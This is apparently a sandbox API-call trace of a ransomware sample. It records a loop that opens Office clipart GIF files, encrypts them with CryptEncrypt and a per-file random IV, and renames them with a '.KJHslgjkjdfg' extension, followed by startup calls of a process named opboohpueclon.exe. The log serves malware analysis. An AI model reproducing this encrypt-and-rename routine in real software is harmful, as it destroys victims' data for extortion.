FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49077500, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49077500, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01742_.GIF", cAlternateFileName="")) returned 1 [0250.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.604] GetProcessHeap () returned 0x2ef0000 [0250.604] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.605] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.605] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0250.606] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.606] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.606] GetProcessHeap () returned 0x2ef0000 [0250.606] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.606] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.606] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.606] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.606] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.606] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.607] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.607] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.607] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.607] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.607] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x253, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x253, lpOverlapped=0x0) returned 1 [0250.607] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x260, dwBufLen=0x260 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x260) returned 1 [0250.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.607] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x260, lpOverlapped=0x0) returned 1 [0250.607] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.608] SetEndOfFile (hFile=0x130) returned 1 [0250.610] GetProcessHeap () returned 0x2ef0000 [0250.610] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.610] GetProcessHeap () returned 0x2ef0000 [0250.610] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.610] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif.kjhslgjkjdfg")) returned 1 [0250.611] CloseHandle (hObject=0x130) returned 1 [0250.611] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47d64800, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47d64800, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01743_.GIF", cAlternateFileName="")) returned 1 [0250.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.612] GetProcessHeap () returned 0x2ef0000 [0250.612] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.612] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.612] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0250.615] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.615] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.615] GetProcessHeap () returned 0x2ef0000 [0250.615] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.615] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.615] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.615] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.615] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.615] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.615] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.615] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.615] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.615] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.615] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4d5, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4d5, lpOverlapped=0x0) returned 1 [0250.615] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4e0, dwBufLen=0x4e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4e0) returned 1 [0250.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.616] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4e0, lpOverlapped=0x0) returned 1 [0250.616] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.616] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.616] SetEndOfFile (hFile=0x130) returned 1 [0250.618] GetProcessHeap () returned 0x2ef0000 [0250.618] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.618] GetProcessHeap () returned 0x2ef0000 [0250.618] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.618] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif.kjhslgjkjdfg")) returned 1 [0250.619] CloseHandle (hObject=0x130) returned 1 [0250.620] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9359300, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9359300, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x31f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01744_.GIF", cAlternateFileName="")) returned 1 [0250.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01744_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01744_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.620] GetProcessHeap () returned 0x2ef0000 [0250.620] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.621] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.621] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.621] WriteFile (hFile=0x130, lpBuffer=0x4dff2a0, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0) Process: id = "2" image_name = "opboohpueclon.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\opboohpueclon.exe" page_root = "0x38981000" os_pid = "0x32c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa30" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe\" n2608" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x6a4 [0056.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xe7a12ab0, dwHighDateTime=0x1d62701)) [0056.441] GetCurrentProcessId () returned 0x32c [0056.441] GetCurrentThreadId () returned 0x6a4 [0056.441] GetTickCount () returned 0x1146a67 [0056.441] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17663966954) returned 1 [0056.441] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x4, hStdError=0x8)) [0056.441] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2a0000 [0056.442] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0056.442] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b [0056.442] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252 [0056.442] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208 [0056.442] GetProcAddress (hModule=0x76d30000, lpProcName="FlsFree") returned 0x76d4359f [0056.443] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0056.443] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0056.443] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0056.443] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0056.443] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0056.443] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0056.443] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0056.443] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0056.444] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0056.444] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0056.444] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0056.444] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0056.444] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0056.444] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0056.445] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0056.446] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0056.446] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x214) returned 0x2a07d0 [0056.446] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0056.446] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0056.446] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0056.446] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0056.446] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0056.447] GetCurrentThreadId () returned 0x6a4 [0056.447] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x4, hStdError=0x8)) [0056.447] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x800) returned 0x2a09f0 [0056.447] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0056.447] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4 [0056.447] GetFileType (hFile=0x4) returned 0x3 [0056.447] GetStdHandle (nStdHandle=0xfffffff4) returned 0x8 [0056.447] GetFileType (hFile=0x8) returned 0x3 [0056.447] SetHandleCount (uNumber=0x20) returned 0x20 [0056.447] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe\" n2608" [0056.447] GetEnvironmentStringsW () returned 0x2fdee68* [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xaca) returned 0x2a11f8 [0056.448] FreeEnvironmentStringsW (penv=0x2fdee68) returned 1 [0056.448] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4248c0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\opboohpueclon.exe")) returned 0x37 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x88) returned 0x2a1cd0 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x98) returned 0x2a1d60 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x3e) returned 0x2a1e00 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x6c) returned 0x2a1e48 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x6e) returned 0x2a1ec0 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x78) returned 0x2a1f38 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x62) returned 0x2a1fb8 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2e) returned 0x2a2028 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x48) returned 0x2a2060 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x28) returned 0x2a20b0 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1a) returned 0x2a20e0 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x4a) returned 0x2a2108 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x72) returned 0x2a2160 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x30) returned 0x2a21e0 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2e) returned 0x2a2218 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1c) returned 0x2a2250 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xd2) returned 0x2a2278 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x7c) returned 0x2a2358 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x36) returned 0x2a23e0 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x3a) returned 0x2a2420 [0056.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x90) returned 0x2a2468 [0056.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x24) returned 0x2a2500 [0056.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x30) returned 0x2a2530 [0056.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x36) returned 0x2a2568 [0056.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x48) returned 0x2a25a8 [0056.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x52) returned 0x2a25f8 [0056.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x3c) returned 0x2a2658 [0056.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x82) returned 0x2a26a0 [0056.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2e) returned 0x2a2730 [0056.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1e) returned 0x2a2768 [0056.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2c) returned 0x2a2790 [0056.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x54) returned 0x2a27c8 [0056.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x52) returned 0x2a2828 [0056.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2a) returned 0x2a2888 [0056.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x3c) returned 0x2a28c0 [0056.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x54) returned 0x2a2908 [0056.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x24) returned 0x2a2968 [0056.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x30) returned 0x2a2998 [0056.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x8c) returned 0x2a29d0 [0056.449] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2a11f8 | out: hHeap=0x2a0000) returned 1 [0056.451] GetLastError () returned 0x0 [0056.451] SetLastError (dwErrCode=0x0) [0056.451] GetLastError () returned 0x0 [0056.451] SetLastError (dwErrCode=0x0) [0056.452] GetLastError () returned 0x0 [0056.452] SetLastError (dwErrCode=0x0) [0056.452] GetACP () returned 0x4e4 [0056.452] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x220) returned 0x2a2a68 [0056.452] GetLastError () returned 0x0 [0056.452] SetLastError (dwErrCode=0x0) [0056.452] IsValidCodePage (CodePage=0x4e4) returned 1 [0056.452] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0056.452] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0056.452] GetLastError () returned 0x0 [0056.452] SetLastError (dwErrCode=0x0) [0056.452] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0056.452] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0056.452] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0056.452] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 